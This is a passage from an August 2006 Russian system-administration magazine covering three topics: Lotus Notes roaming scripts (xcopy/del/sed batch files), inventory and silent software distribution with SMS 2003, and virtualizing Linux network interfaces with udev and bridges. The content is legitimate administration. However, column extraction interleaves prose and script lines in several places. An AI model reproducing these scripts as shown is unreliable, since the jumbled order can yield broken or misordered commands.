настроены стандартным образом без активации опции грузочных bat-файлов каждого пользователя на домен-
Roaming User. На каждой рабочей станции устанавливает- ном *NIX-сервере, копирующий файлы Lotus Notes с дис-
ся стандартный вид инсталляции для одного пользователя ка H:\ на C:\.
в директорию C:\Lotus\Notes. Далее необходимо на каждую
рабочую станцию скопировать cmd- и vbs-скрипты в стан- logon_lotus.cmd
дартную директорию Logoff-скриптов %windir%\system32\ xcopy "H:\Lotus\Notes\Data\cluster.ncf" ↵
GroupPolicy\User\Scripts\Logoff и активировать только "C:\Lotus\Notes\Data\" /c /h /r /y
xcopy "H:\Lotus\Notes\Data\jobsched.njf" ↵
vbs-скрипт через оснастку Scripts(Logon/Logoff) Group Policy "C:\Lotus\Notes\Data\" /c /h /r /y
в Microsoft Management Console (MMC) (см. рис. 2). xcopy "H:\Lotus\Notes\Data\bookmark.nsf" ↵
"C:\Lotus\Notes\Data\" /c /h /r /y
xcopy "H:\Lotus\Notes\Data\desktop6.ndk" ↵
logoff_script.vbs "C:\Lotus\Notes\Data\" /c /h /r /y
xcopy "H:\Lotus\Notes\Data\names.nsf" ↵
set WSHShell = CreateObject("WScript.Shell") "C:\Lotus\Notes\Data\" /c /h /r /y
WSHShell.Run "cmd /c lotus_copy.cmd",0 xcopy "H:\Lotus\Notes\Data\pid.nbf" ↵
WScript.Sleep 5000 "C:\Lotus\Notes\Data\" /c /h /r /y
xcopy "H:\Lotus\Notes\Data\headline.nsf" ↵
"C:\Lotus\Notes\Data\" /c /h /r /y
lotus_copy.cmd

xcopy "C:\Lotus\Notes\Data\cluster.ncf" ↵ С помощью утилиты BK ReplaceEm [6] в каждый загрузоч-

"H:\Lotus\Notes\Data\" /d /c /h /r /y
xcopy "C:\Lotus\Notes\Data\jobsched.njf" ↵ ный bat-файл пользователя на доменном *NIX-сервере нужно
"H:\Lotus\Notes\Data\" /d /c /h /r /y вставить строку копирования Lotus Notes при логоне, напри-
Требования к клиентской части
мер, «call z:\new_lotus\logon_lotus.cmd»,
где диск Z:\ –общедоступный сетевой
Платформа Windows 98 Windows 2000/ Windows XP Windows NT
ресурс.
Windows 2000 Professional; Windows NT4
Поддерживаемые ОС Windows 98
Windows XP Professional Workstation Lotus_save_lite.cmd применяется для
сохранения ярлыков, локальных групп
Поддерживаемые процессоры Intel Pentium
рассылок и других редко изменяемых
64 Мб минимум, 128 Мб минимум, 64 Мб минимум,
ОЗУ рекомендуется 256 Мб рекомендуется 256 Мб рекомендуется 256 Мб настроек Lotus Notes. Этот файл следу-
или больше или больше или больше ет запускать только при выгруженном
Дисковое пространство Необходимо 275 Мб Lotus Notes.

10

lotus_save_lite.cmd
xcopy "C:\Lotus\Notes\Data\bookmark.nsf" ↵
"H:\Lotus\Notes\Data\" /c /h /r /y
xcopy "C:\Lotus\Notes\Data\names.nsf" ↵
"H:\Lotus\Notes\Data\ " /c /h /r /y
pause
Lotus_notes_6_5.lnk – десктопный ярлык для запус-
ка оптимизированного Lotus Notes, поле Target, в котором
принимается за «C:\lotus\notes\notes.exe "=H:\Lotus\Notes\
notes.ini"». С помощью этого ярлыка Lotus Notes запуска-
ется так, что он работает напрямую с файлом конфигура-
ции notes.ini, размещенным на диске H:\.
В директории new_lotus создаем поддиректорию
maintenance, предназначенную для перевода новых поль-
зователей на новую схему работы и для текущего обслужи-
вания указанного ПО. Эта поддиректория содержит в се-
бе такие файлы: del_lotus_c_id.cmd, new_copy_lotus_h.cmd,
sed.exe с динамическими библиотеками и notes.ini.
Del_lotus_c_id.cmd – сбрасывает персональные настрой-
ки пользователя Lotus Notes на диске C:\ с удалением клю-
чевого файла user.id, после чего можно настраивать кли-
ент для нового пользователя.
del_lotus_c_id.cmd
del /f C:\Lotus\Notes\Data\cache.ndk
del /f C:\Lotus\Notes\Data\desktop6.ndk
del /f C:\Lotus\Notes\Data\cluster.ncf
del /f C:\Lotus\Notes\Data\jobsched.njf
del /f C:\Lotus\Notes\Data\names.nsf
del /f C:\Lotus\Notes\Data\bookmark.nsf
del /f C:\Lotus\Notes\Data\pid.nbf
del /f C:\Lotus\Notes\Data\user.id
echo a| xcopy z:\new_lotus\maintenance\notes.ini ↵
C:\Lotus\Notes\notes.ini
New_copy_lotus_h.cmd – копирование персональных
файлов Lotus с диска C:\ на H:\ и модификация notes.ini. Мо-
дификация позволяет Lotus Notes напрямую работать с клю-
чевым файлом пользователя user.id на диске H:\. С помо-
щью этого командного файла можно переводить на пред-
ложенную схему работы как существующих пользователей,
так и новых сразу же после стандартной настройки для них
клиента Lotus Notes на диске C:\.
new_copy_lotus_h.cmd
cd /d H:\
md Lotus
cd Lotus
md Notes
cd Notes
md Data
echo f|xcopy C:\Lotus\Notes\Data\bookmark.nsf ↵
H:\Lotus\Notes\Data\bookmark.nsf
echo f|xcopy C:\Lotus\Notes\Data\cluster.ncf ↵
H:\Lotus\Notes\Data\cluster.ncf
echo f|xcopy C:\Lotus\Notes\Data\desktop6.ndk ↵
H:\Lotus\Notes\Data\desktop6.ndk
echo f|xcopy C:\Lotus\Notes\Data\headline.nsf ↵
H:\Lotus\Notes\Data\headline.nsf
echo f|xcopy C:\Lotus\Notes\Data\jobsched.njf ↵
H:\Lotus\Notes\Data\jobsched.njf
echo f|xcopy C:\Lotus\Notes\Data\names.nsf ↵
H:\Lotus\Notes\Data\names.nsf
№8, август 2006
администрирование
Рисунок 2. Активация vbs-скрипта на рабочей станции
echo f|xcopy C:\Lotus\Notes\Data\pid.nbf ↵
H:\Lotus\Notes\Data\pid.nbf
echo f|xcopy C:\Lotus\Notes\Data\user.id ↵
H:\Lotus\Notes\Data\user.id
echo f|xcopy C:\Lotus\Notes\notes.ini ↵
H:\Lotus\Notes\notes.ini
call z:\new_lotus\maintenance\del_lotus_c_id.cmd
z:\new_lotus\maintenance\sed.exe ↵
-e s/"KeyFilename=user.id" ↵
/"KeyFileName=H:\\Lotus\\Notes\\Data\\user.id"/ ↵
notes.ini > notes2.ini
xcopy /f notes2.ini notes.ini /c /r /y
del /f /q notes2.ini
cd \
pause
Sed.exe с динамическими библиотеками – потоковый
редактор [7], позволяющий модифицировать содержи-
мое notes.ini.
Notes.ini – базовый конфигурационный файл для на-
стройки Lotus Notes под нового пользователя.
Таким образом, порядок установки выглядит следую-
щим образом:
 Установите на все рабочие станции logoff-скрипты
и через MMC (Group Policy) активируйте их на каждой
из них.
 Разместите папку new_lotus на общедоступном сетевом
ресурсе.
 С помощью утилиты BK ReplaceEm в каждом загру-
зочном bat-файле на сервере домена добавьте вызов
logon_lotus.cmd.
 С помощью скриптов в папках new_lotus/maintenance пе-
реместите персональные файлы пользователей Lotus
Notes на сетевой диск каждого из них.
Приведенная схема соответствует общепринятым нор-
мам безопасности информационных систем и ни в чем
не ограничивает работу клиента. Надеюсь, что информа-
ция найдет у вас практическое применение и избавит вас
от бессонных ночей.
1. IBM Lotus Software: http://www.ibm.com/ru/software/lotus.
2. IBM Lotus Notes/Domino 6.5.5 Release Notes: http://www-10.lotus.
com/ldd/notesua.nsf.
3. eQuality Solutions: продукты IBM/Lotus: http://www.equality.ru/
products-ibm.shtml.
4. Tommi Tulisalo, Edwin Kanis, Jean-Noel Koval,Cynthia Mamacos,
Carol Sumner Upgrading to Lotus Notes and Domino 6. – IBM
Redbook, 2004.
5. Notes/Domino 6 and 7 Forum: http://lotus.com/ldd/nd6forum.nsf.
6. ReplaceEm: http://orbit.org/replace.
7. SED, the stream editor: http://student.northpark.edu/pemente/
sed.
11
 администрирование
Проводим инвентаризацию сети
средствами SMS 2003
У вас появится больше времени на творчество благодаря Systems Management Server 2003.
П
р одел ав вс е н е о бход и м ы е
действия (см. статью «Устанав-
ливаем и настраиваем Systems
Management Server 2003», №7, 2006 г.),
вы получили полностью работоспособ-
ный сервер SMS 2003 с установленны-
ми клиентами, в базу которого занесе-
ны ресурсы сети (компьютеры, поль-
зователи). Теперь можно двигаться
дальше и переходить непосредствен-
но к инвентаризации. Думаю, мно-
гие согласятся, что это малоприятная
процедура. Порой необходимо сде-
лать выборку по определенным пара-
метрам, чтобы выявить компьютеры,
на которые нужно установить обнов-
ления или нуждающиеся в модерниза-
ции. Многим из вас знакомы требова-
ния руководства, которое хочет знать,
какое программное обеспечение ус-
тановлено на компьютерах пользова-
телей и не изменялась ли самовольно
конфигурация ПК. Правда, это нуж-
но не только начальству, но в первую
очередь и самому сисадмину. Все это
можно сделать в считанные минуты
с помощью SMS 2003. Если вы знако-
мы с SQL, проблем будет еще меньше,
благодаря возможности напрямую об-
ращаться к базе SQL-сервера, исполь-
12
зуя запросы SQL. После проведенной
инвентаризации можно централизо-
ванно обновить ПО, установить но-
вое, а также поставить необходимые
патчи и заплатки для операционных
систем и программ. Можно для этого
воспользоваться групповыми полити-
ками домена, но сделать это сложнее,
так как SMS – это все-таки специали-
зированный продукт, рассчитанный
именно на такое применение в отличие
от Group Policy. Комплект инструмен-
тов был бы неполным без удаленного
управления. Но это уже кому как нра-
вится. Многие привыкли к небольшим
мобильным утилитам, которые справ-
ляются с поставленной задачей не ху-
же, а порой и лучше SMS. Это не глав-
ное достоинство этого продукта, и его
мы тоже рассмотрим.
Проводим
инвентаризацию
оборудования
Чтобы начать процесс, запустите
консоль SMS Administrator Console,
«Site Database → Site Hierarchy →
имя сайта → Site Settings → Client
Agents», где выберите «Hardware
Inventory Client Agent» (рис. 1). В свойс-
Дмитрий Щербаков
твах агента на вкладке «General»
поставьте флажок «Enable hardware
inventory on clients», а расписание вы
можете настроить уже в соответствии
со своими задачами. Через некоторое
время (минут 15) политики на клиентах
обновятся, и вы сможете просмотреть
ресурсы компьютеров сети. Для того
чтобы ускорить этот процесс, на клиен-
те в панели управления запустите ап-
плет Systems Management и на вклад-
ке «Actions» обновите «Machine и User
Policy» (рис. 2), а затем «Hardware
Inventory Cycle». В этом случае инфор-
мацию вы сможете просмотреть уже
через 3-4 минуты. Собранные дан-
ные об оборудовании доступны, на-
пример, из коллекции «All Systems»
консоли SMS Administrator Console.
Для этого в контекстном меню по щел-
чку правой кнопкой мыши на нужном
нам компьютере выберем «All Tasks →
Start Resource Explorer». Что интерес-
но, сведения об установленном про-
граммном обеспечении тоже находят-
ся здесь. После сбора информации
об оборудовании эти данные заносят-
ся в базу и далее доступны в автоном-
ном режиме и при выключенном уда-
ленном компьютере.
 администрирование
Проводим
инвентаризацию
программного
обеспечения
Инвентаризация ПО заключается
в сборе информации из файлов прило-
жений с помощью SMS Software Agent.
Полученные данные включают в себя
сведения о названии продукта, про-
изводителе, версии, а также времени
и дате установки.
Для начала активируйте Software
Inventory Client Agent: «Site Database →
Site Hierarchy → имя сайта → Site
Settings → Client Agents» и поставьте
галочку «Enable software inventory on
clients» (рис. 3). По умолчанию соби-
рается информация обо всех exe-фай-
лах. Обновление информации происхо-
дит аналогично инвентаризации обо-
рудования, однако времени требует- Рисунок 1. Hardware Inventory Client Agent
ся больше. Просмотреть информацию
вы можете там же – через «Resource
Explorer» (вкладка «Software»). В свойс-
твах «Software Inventory Client Agent»
можно указать также путь для поиска
файлов и настроить сбор файлов с кли-
ентских компьютеров (например, отче-
ты после установки ПО). Но так как та-
кие файлы могут иметь довольно боль-
шой размер и клиентов тоже немало,
следует подходить к сбору файлов с ос-
торожностью, ведь это неизбежно пов-
лечет за собой существенное увеличе-
ние сетевого трафика.
Другой способ проведения инвен-
таризации ПО – Software metering.
На первый взгляд он похож на Software
Inventory, но используется для то-
го, чтобы отследить, с какими про-
граммами работает пользователь.
Полученные данные могут содер- Рисунок 2. Обновление политик на клиенте
жать информацию о времени запус-
ка программы, завершения, под ка- Откройте консоль сервера SMS, Properties → Select» и далее выберите
ким именем пользователя она была «Site Database → Queries», и далее «Attribute Class» и «Attribute» (рис. 5).
запущена, и т. д. «Software Metering по правой кнопке мыши – «New → В качестве «Attribute Class» возьми-
Client Agent» находится в контейнере Query» (рис. 4). Что интересно, поми- те, например, «System», а «Attribute» –
«Client Agents» (там же, где «Hardware мо множества предопределенных за- «Name». Поле «Alias» as можно оста-
Inventory Client Agent» и «Software просов можно создать и свои, исполь- вить как есть – «No Alias». Далее пе-
Inventory Client Agent»). Информация зуя WQL (в этом же диалоге). Это да- рейдите на вкладку «Criteria». Создай-
записывается на клиентском ком- ет возможность обращаться сра- те новый критерий, в котором тип ос-
пьютере в файл mtrmgr.log в каталог зу к нескольким объектам, что недо- тавьте «Simple Value», «Attribute Class»
C:\windows\system32\ccm\logs. ступно из графического интерфейса. возьмите «Memory» (окно выбора атри-
По умолчанию выбран объект «System бутов вызывается по нажатию кнопки
Создаем отчеты Resource». Дайте имя запросу, напри- «Select»), а «Attribute» – «Total Physical
Для начала попробуем создать прос- мер test, затем нажмите на кнопку Memory».
той запрос (набор параметров, кото- «Edit Query Statement» и поставьте га- Если, например, нужно узнать,
рый используется для получения ин- лочку напротив «Omit duplicate rows», на каком компьютере больше 1 Гб
формации из базы данных). создайте новый запрос в окне «Result оперативной памяти, то в выпадаю-

№8, август 2006 13

 администрирование
Рисунок 3. Software Inventory Client Agent
Рисунок 4. Создание запроса. Шаг 1
щем списке «Operator» надо выбрать
«Is greater than or equal to», а в поле
«Value» занести 1 000 000 (рис. 6).
Сохраните запрос, а для его запуска
из контекстного меню выберите «Run
Query».
Используем Reporting
Point для создания
отчетов
Для начала настройте сервер на ис-
пользование Reporting Point, для
этого в консоли SMS Administrator
Console выберите «Site Database →
Site Hierarchy → имя сайта → Site
Settings → Site Systems» и в свойс-
твах сервера на вкладке «Reporting
14
Point» поставьте галочку «Use this site
system as a reporting point». Теперь пе-
реходим непосредственно к состав-
лению отчета: не закрывая консоль
SMS Administrator Console, найди-
те «Reporting → Reports» и выбери-
те нужный, например «Computers with
low memory». Чтобы запустить этот от-
чет на выполнение, щелкните по нему
правой кнопкой мыши: «All Tasks →
Run → имя компьютера». В появив-
шемся окне введите пароль, а в стро-
ке «Mb of Memory» окна отчета – объ-
ем памяти с меньшим значением ко-
торого, нас интересуют компьюте-
ры. Для завершения запроса нажми-
те кнопку «Display». Чтобы использо-
вать в отчетах графики, на компьюте-
ре с Reporting Point надо установить
Microsoft Office 2000 или выше. Про-
сматривать отчеты можно с клиента,
на котором установлен Internet Explorer
5.01 SP2 и выше, по адресу http://
имя сервера/smsreporting-код сайта.
Для того чтобы каждый раз не зада-
вался вопрос об имени пользователя
и пароле, надо внести учетную запись
пользователя в группу SMS Reporting
Users.
В контейнере «Reporting» консо-
ли SMS Administrator Console при-
сутствует еще пункт «Dashboards».
В «Dashboards» можно помещать груп-
пу взаимосвязанных отчетов, которым
не передаются никакие параметры. От-
четы располагаются на одной страни-
це, что довольно удобно при просмот-
ре – недаром Microsoft использовала
для этого пункта очень удачное назва-
ние – приборная доска.
Устанавливаем
программное обеспечение
по сети
В большой сети, даже если требует-
ся установить небольшое обновле-
ние или новую программу на все ком-
пьютеры или на какую-то их опреде-
ленную часть, уходит много времени,
особенно если делать это вручную,
даже при помощи программ удален-
ного управления. Применение груп-
повых политик не так просто и не так
гибко, как применение для этой цели
средств SMS – Software Distribution.
Одно из больших преимуществ SMS
при установке ПО – использование
сервиса BITS. Он позволяет исполь-
зовать докачку файла при возникно-
вении сбоя при передаче. Эта техно-
логия доступна только для Advanced
Clients. При инсталляции ПО средс-
твами SMS гораздо легче отследить
ход установки на всех компьютерах
через отчеты об установке или через
Software metering.
Как обычно, начинаем с настрой-
ки сервера SMS: в консоли SMS
Administrator Console раскройте узел
«Site Database → Site Hierarchy →
имя сайта → Site Settings → Site
S yste ms». В с в о й с т в а х с е р в е р а
на вкладке Distribution Point (рис. 7)
установите флажок «Use this site
system as a distribution point» и «Enable
Background Intelligent Transfer Service
 администрирование
(BITS)». Перейдите в контейнер «Client
Agents» и в свойствах «Advertised
programs Client Agent» поставьте фла-
жок «Enable software distribution to
clients». На вкладке «Notification» ус-
тановите по своему вкусу парамет-
ры оповещения об установке про-
грамм. Для первого раза стоит вклю-
чить извещение об установке, но, ког-
да все будет отлажено, лучше его уб-
рать, так как это избавит вас от лиш-
них вопросов пользователей. В кон-
тейнере «Component Configuration»
в свойствах «Software Distribution» ука-
жите учетную запись администратора
домена для «Advanced Clients» и учет-
ную запись администратора, под кото-
рой будет выполняться установка для
«Legacy Clients» (рис. 8). Для уменьше-
ния времени обновления информации Рисунок 5. Создание запроса. Шаг 2
об изменении статуса сервера SMS
на клиентах можно проделать те же
операции, что и при проведении инвен-
таризации оборудования и ПО.

Создаем пакеты
для распространения
Рассмотрим на примере вариант ус-
тановки ПО на все компьютеры се-
ти. Пусть требуется для решения про-
изводственной задачи установить
NetFrameWork. В исходном виде про-
грамма доступна в виде одного са-
мораспаковывающегося exe-файла.
Извлеките из него все файлы, сре-
ди которых будет и msi-файл, кото-
рый позволяет выполнить установку
с необходимыми параметрами, напри-
мер, без перезагрузки и в тихом ре-
жиме. Отмечу, что в отличие от дру-
гих средств сетевой установки, таких Рисунок 6. Создание запроса. Шаг 3
как групповые политики, не требуется
преобразовывать установочный файл на вкладке «Data Source» установи- line» введите команду установки (имя
в формат msi. те флажок напротив «This package установочного файла с необходимы-
Единственное замечание – если contains source files» и укажите к ним ми ключами). Для того чтобы установ-
нужна скрытая от пользователя ус- путь в поле «Source directory». Пакет ка проходила скрытно от пользовате-
тановка, то предварительно надо ли- может состоять и из одного файла, ля, отметьте режим Hidden. На вкладке
бо воспользоваться параметрами ко- тогда указывать здесь его не нужно. «Environment» из списка «Program can
мандной строки, либо перепаковать Теперь раскройте контейнер с вновь run» выберите пункт «Whether or not a
инсталлятор. Далее поместите уста- созданным пакетом и щелкните пра- user is logged on». В таком случае про-
новочные файлы в общедоступный вой кнопкой по «Distribution Points → грамма установки запустится незави-
по сети каталог. Теперь нужно сформи- New → Distribution Points» и выбери- симо от того, зарегистрировался поль-
ровать установочный пакет для SMS. те компьютер в качестве «Distribution зователь или нет. Тип запуска выбери-
Для этого в консоли SMS Administrator Point», установив соответствующий те «Run with administrative rights» и пос-
Console щелкните правой кнопкой мы- флажок. Для того чтобы уже непос- тавьте галочку напротив «Use Software
ши по контейнеру «Packages» и выбе- редственно задать параметры уста- installation account». Для того чтобы
рите из контекстного меню «New → новки новой программы, перейди- полностью исключить любые уведом-
Package» (рис. 9). Введите назва- те к контейнеру «Programs», «New → ления пользователя об установке про-
ние пакета, например NetFrameWork, Program» (рис. 10). В поле «Command граммы, на вкладке «Advanced» ус-

№8, август 2006 15

 администрирование
Рисунок 7. Назначение серверу SMS роли Distribution Point
Рисунок 8. Установка параметров Software Distribution
тановите флажок «Suppress program
notifications». Последняя вк ладка
«Windows Installer» необходима лишь
в том случае, когда дистрибутив про-
граммы состоит из нескольких файлов,
среди которых есть файл с расширени-
ем *.msi. Если такой файл отсутствует
или установочная программа состоит
вообще из одного установочного фай-
ла с расширением *.exe, то на этом на-
стройка программы инсталляции за-
канчивается. В нашем случае нажми-
те на вкладке «Windows Installer» кноп-
ку «Import» и найдите файл netfx.msi.
Сохраните изменения, и теперь мож-
но переходить непосредственно к ус-
тановке программы.
16
Распространение
программного
обеспечения
Проще всего для этой цели восполь-
зоваться мастером. Для этого щелк-
ните правой кнопкой мыши на выбран-
ной коллекции: «All Tasks → Distribute
Software». Все значения можно оста-
вить по умолчанию, остановимся по-
подробнее только на шаге «Assign
Program». В случае выбора пункта
«Do not assign the program» программа
будет доступна для установки (в меню
«Add or Remove Programs»), но не бу-
дет установлена автоматически. Вы-
берите пункт «Assign Program». После
завершения работы мастера в контей-
нере «Advertisements» появится новое
уведомление. Просмотрев его свойс-
тва, можно настроить дополнитель-
ные параметры, например, расписание
Schedule. Обычно выбирается пункт
«Assign Immediately after this event:
as soon as possible». Для реального па-
кета можно уже настраивать расписа-
ние по своему усмотрению. Все ли в по-
рядке с пакетом, можно просмотреть
через «System Status → Advertisement
Status → название уведомления и че-
рез «System Status → Package Status →
название пакета». В обоих случаях по
правому щелчку мышкой на названии
сайта выберите «Show Masseges →
All». Также проверить корректность
создания пакета можно, просмотрев
каталог X:\SMSPKGX$, где X – имя
диска, на котором находится этот ка-
талог (по умолчанию на С). Не забы-
вайте, что «сразу, как только возмож-
но» не значит, что установка начнется
мгновенно. Для ускорения этой проце-
дуры необходимо произвести обновле-
ние политики на клиенте, как и во всех
предыдущих случаях. Через некото-
рое время (минут 10-15), начнется ус-
тановка. Этот момент вы легко отсле-
дите, если был выбран тип установки
с оповещениями.
ПО устанавливается на основе кол-
лекций, присутствующих в SMS. Но
можно создавать и свои коллекции
и уже на их основе осуществлять рас-
пространение программ. В частнос-
ти, если нужно произвести установ-
ку на один компьютер, то для него со-
здается отдельная коллекция. Проще
всего это сделать с помощью масте-
ра, щелкнув правой кнопкой на нуж-
ном компьютере и выбрать пункт «All
Tasks → Distribute Software».
Для централизованной установки
обновлений в SMS используется на-
бор утилит SMS 2003 Software Update
Scanning Tools, который можно скачать
с сайта Microsoft. В стандартную пос-
тавку SMS этот набор не входит. Эти
утилиты позволяют обновлять опера-
ционные системы Microsoft, включая
Windows NT 4.0 SP5, а также Microsoft
Office и Exchange Server, создавать от-
четы об установке обновлений.
Удаленное управление
в SMS 2003
SMS 2003 не был бы законченным про-
дуктом, если бы в нем не была предус-
 администрирование
мотрена возможность удаленного уп-
равления. Для этой цели служит на-
бор инструментов SMS Remote Tools.
Если вы привыкли к другим програм-
мным продуктам, таким как DameWare,
возможностей, предоставляемых
SMS, вам будет явно мало. Но основ-
ные действия SMS Remote Tools поз-
воляют производить: непосредствен-
но удаленное управление, перезаг-
рузку удаленного компьютера, чат, пе-
редачу файлов и запуск приложений
на удаленном компьютере. Помимо
этого имеется возможность использо-
вать встроенные средства Windows XP
и Windows 2003: Remote Assistance
и Remote Desktop.
Чтобы воспользоваться «Remote
Tools», необходимо, как обычно в кон-
соли SMS Administrator Console рас- Рисунок 9. Создание пакета NetFrameWork
крыть узел «Site Database → Site
Hierarchy → имя сайта → Site Settings →
Client Agents» и разрешить использо-
вание Remote Tools на клиентах, ус-
тановив соответствующий флажок
в свойствах «Remote Tools Client
Agent». Там же на вкладке Policy мож-
но настроить необходимые разреше-
ния для удаленного управления, а на
вкладке «Notifications» – уведомления
о подключении на удаленном компью-
тере. Как обычно, для ускорения об-
новления политики на клиентском ком-
пьютере можно воспользоваться ап-
летом «Systems Management» в пане-
ли управления и на вкладке «Actions»
запустить «Initiate Action для Machine
Policy Retrieval» и для «User Policy
Retrieval». Для того чтобы воспользо-
ваться «Remote Tools», щелкните пра-
вой кнопкой мыши на имени компью- Рисунок 10. Настройка параметров установки новой программы (NetFrameWork)
тера из нужной коллекции в консоли
SMS Administrator Console, далее из пьютере. Эти пункты доступны только Настройка SMS 2003 – непростая
контекстного меню «All Tasks → Start для «Advanced Clients». Для «Legacy задача и требует максимум терпения,
Remote Tools». В открывшемся окне Clients» в окне «Remote Tools» из па- но время, потраченное на освоение
из меню «Tools» выберите «Remote нели инструментов доступны вкладки и настройку SMS, окупится сторицей.
Control», чтобы начать работу с уда- «Windows Memory» и др. И не раз вы будете вспоминать доб-
ленным рабочим столом. Останавли- Все возможности продукта ком- рым словом этот продукт, когда сроч-
ваться подробно на удаленном адми- пании Microsoft – SMS 2003 невоз- но понадобится вывести отчет по пар-
нистрировании я не буду. Хочется толь- можно описать на страницах жур- ку вычислительной техники по како-
ко отметить, что помимо пункта «Start нала. Но, разобравшись с базовы- му-либо нестандартному критерию,
Remote Tools» из контекстного меню, ми принципами вы можете двигаться а у вас и обычный-то список уже уста-
доступного по нажатию правой кноп- дальше и настраивать его под конк- рел, или понадобится установить но-
ки мыши на объекте выделенного ком- ретные задачи, ведь рассмотренная вое ПО на сотни компьютеров, причем
пьютера, есть еще пункты «Start Event конфигурация не единственно воз- немедленно. Стабильно работающий
Viewer», «Start Windows Diagnostics» можная. Следующий этап, особенно и должным образом настроенный SMS
и «Start Windows Performance Monitor», для крупных компаний, – охват уда- существенно сократит время, затрачи-
которые позволяют получить дополни- ленных филиалов и мобильных поль- ваемое на рутинную работу по инвен-
тельные сведения об удаленном ком- зователей. таризации и обновлению.

№8, август 2006 17

администрирование

Современный Linux-сервер:
виртуализируем сетевые устройства
Часть 2

Алексей Барабанов

Воплотить схему виртуализации совершенно несложно. А дополнительно можно построить

адаптивную систему коммутации.

18
 администрирование

В
первой части статьи [1] были предложены пути и де-
тально разобраны принципы искусственной вир-
туализации сетевых интерфейсов. Виртуализация
не просто для усиления названа искусственной. Создание
по специальному сетевому мосту на каждый используемый
интерфейс не является самоцелью. Таким образом, дости-
гаются следующие преимущества:
 Постоянство схемы разметки и наименования сетевых
устройств.
 Независимость настройки сетевых сервисов от состо-
яния реальных линий связи.
 Автоматизация сетевой коммутации.
 Удобство подключения виртуальных серверов.

Если просуммировать вышесказанное, то получится, что

виртуализация позволяет создать независимую от состава Рисунок 1. Настройка безадресного физического интерфейса
оборудования, то есть стабильную сетевую разметку, на ос-
нове которой можно построить внутреннюю серверную ар- с аппаратным адресом 00:14:85:21:1b:2f в процессе его до-
хитектуру, обладающую устойчивостью к отказам и масш- бавления в систему. После выполнения данного правила в
табируемостью. И самое главное, что такая архитектура мо- системе появится устройство не с тем именем, что выдается
жет быть положена в основу многоцелевых и весьма раз- ядром в порядке очередности, а с требуемым, в нашем слу-
нообразных систем. Говоря иначе, таким путем будет раз- чае это будет hweth3 (от hardware ethernet). Теперь должно
работан собственный серверный стандарт. быть уже понятно, что если случайно назначаемое имя совпа-
Но для начала формализуем процедуру виртуализации, дет с одним из уже используемых, то скрипт rename_netiface
так как без этого не получить корректного способа включе- не сможет выполнить свою задачу. И не важно, что данное
ния ее в стартовую последовательность Linux. совпадение может носить временный характер. Чтобы та-
кого конфликта не возникало, используйте нестандартные
«Алгоритм» виртуализации имена. Нам такая рекомендация только на руку!
Вот как представляется последовательность действий по
виртуализации согласно первой части статьи [1]: Второй шаг
1. Переводим все устройства в новый именной ряд с по- Надо сделать все реальные устройства безадресными или,
мощью udev. например, установить им адрес 0.0.0.0, чтобы можно было
2. Меняем их настройку так, чтобы обеспечить включение воспользоваться в настройке и управлении стандартными
в состав сетевых мостов. системными скриптами. Если на этапе установки системы
3. Создаем необходимое число сетевых мостов с требуе- пакетом YaST были уже настроены сетевые интерфейсы,
мыми настройками. то достаточно поправить им адрес, если же нет, то надо со-
4. Коммутируем реальные устройства с нужными сетевы- здавать их сразу с нулевым адресом (см. рис. 1). Для уже
ми мостами. описанного в предыдущем абзаце сетевого устройства
файл параметров будет выглядеть так:
После этого получаем виртуальный эквивалент старой
настройки. Как подобное можно соединить со стандартны- # cat /etc/sysconfig/network/ifcfg-eth-id-00:14:85:21:1b:2f
ми стартовыми скриптами? BOOTPROTO='static'
BROADCAST=''
IPADDR='0.0.0.0'
Первый шаг MTU=''
Отрабатывается при старте udev. Ничего менять не нуж- NAME='Giga-byte CK804 Ethernet Controller'
NETMASK='255.255.255.0'
но, кроме некоторой правки имен устройств в /etc/udev/ NETWORK=''
rules.d/30-net_persistent_names.rules. Как уже было предло- REMOTE_IPADDR=''
STARTMODE='auto'
жено, назовем все реальные устройства как hweth*. Тогда UNIQUE='DkES.QUKldky+OPE'
строка, переименовывающая соответствующее устройство, USERCONTROL='no'
_nm_name='bus-pci-0000:00:0a.0'
например eth3, будет выглядеть следующим образом: PREFIXLEN=''

# grep eth3 ↵ Этот файл создавался с помощью YaST. Но можно его

/etc/udev/rules.d/30-net_persistent_names.rules
SUBSYSTEM=="net", ACTION=="add", ↵
SYSFS{address}=="00:14:85:21:1b:2f", ↵
IMPORT="/sbin/rename_netiface %k hweth3"
Подробнее о применяемой в настройках udev нотации вы
можете прочесть в [2] и, конечно же, в документации, сопро-
вождающей пакет udev. Здесь лишь поясню, что в приведен-
ной строке задается переименование сетевого устройства
написать и самостоятельно. Более того, поскольку для всех
интерфейсов эти файлы имеют практически одинаковый
вид, отличаются лишь комментарием – оператор NAME –
и уникальным номером конфигурации, который легко по-
лучить из начального, просто меняя в каждом последую-
щем один или более символ на следующий в алфавитном
порядке, то очень легко автоматизировать эту стадию на-

№8, август 2006 19

 администрирование
PREFIXLEN=''
POST_UP_SCRIPT='/etc/fw/fw-on-internet'
POST_DOWN_SCRIPT='/etc/fw/fw-off-internet'

Перечень опций можно узнать из «man ifup». Здесь при-

ведены реальные данные VDSL-соединения. Все опции оче-
видны и тривиальны, кроме двух последних строк, отвеча-
ющих за настройку сетевого экрана. Об этой теме погово-
рим особо чуть позже. Кстати, и для этой операции можно
использовать YaST (см. рис. 2).
Значение в выделенном на рис. 2 поле будет использо-
вано при генерации имени такого виртуального устройства.
В данном случае 0, то есть образуется eth0, и все парамет-
ры будут записаны в файл ifcfg-eth0.
Здесь уже становится понятным, что, хотя мы описыва-
ем последовательность настройки с номером 3, но в стар-
Рисунок 2. Создание виртуального устройства товой последовательности эти действия надо будет выпол-
нить до старта скрипта /etc/init.d/network, иначе конфигура-
стройки. Надо только придерживаться того правила, что имя ционные файлы виртуальных интерфейсов не будут обра-
файла формируется на основании физического адреса ин- ботаны и сетевые мосты не будут «подняты» и настроены
терфейса по схеме ifcfg-eth-id-MAC. нужным образом. Таким образом, реальный номер этого
Подготовленные подобным образом файлы настроек шага скорее будет «один с половиной» или «два без чет-
сетевых устройств будут полностью совместимы с сущес- верти», как угодно.
твующей системой запуска сетевой подсистемы на серве-
ре. И в процессе выполнения скрипта /etc/init.d/network все Четвертый шаг
перечисленные интерфейсы будут «подняты» как безад- Связывание реальных устройств с сетевыми мостами,
ресные и совершенно пассивные с точки зрения возмож- не только можно выполнить в любое время после стар-
ностей передачи трафика. та скрипта /etc/init.d/network, но и, самое приятное, что его
можно независимо от всего остального повторять, меняя
Третий шаг настройки. Как и в шаге 3, на данном этапе придется ис-
